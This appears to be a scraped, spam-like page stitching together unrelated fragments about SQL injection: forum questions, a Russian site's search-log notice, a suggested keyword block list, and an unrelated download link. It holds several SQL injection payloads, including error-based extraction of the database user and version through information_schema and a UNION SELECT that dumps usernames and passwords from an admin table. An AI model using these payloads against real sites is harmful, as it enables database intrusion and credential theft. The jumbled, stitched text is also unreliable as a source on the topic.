sql - Union to handle NULL values - Stack Overflow ... count(*),concat((select ( select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1) ... whatsapp for windows phone pc download99999" union select unhex(hex...
...function=members&perform=memberappita&entity_id=11+limit+0+UNION+SELECT+1,2,concat_ws
What I would like to know why "999999.9", what is "0x39313335313435363237322e39". When this attack works what information would the hackers have or edits would they have done to the database. Last could this attack run over and over again bring down/crash the...
Your thoughts about changing the nature of your business are helpful. On my site, for instance, it's entirely safe to fail any request with the string 'concat' or %20union' or 'information_schema'.
Поисковый запрос «999999 9 union all select 0x31303235343830303536-- » был сделан посетителем сайта «Новости мира» . Администрация сайта «Новости мира» показывает запрос в том виде, в котором он был выполнен пользователем...
The used SELECT statement, referer: http://site.com/index.php?page=shop.browse&category_id=25&option...
...the url query id =- 1 union all select id =null union all select id =1 +and+ false + union +all +select id = 9999 union all select +.
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))). URL will look like
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.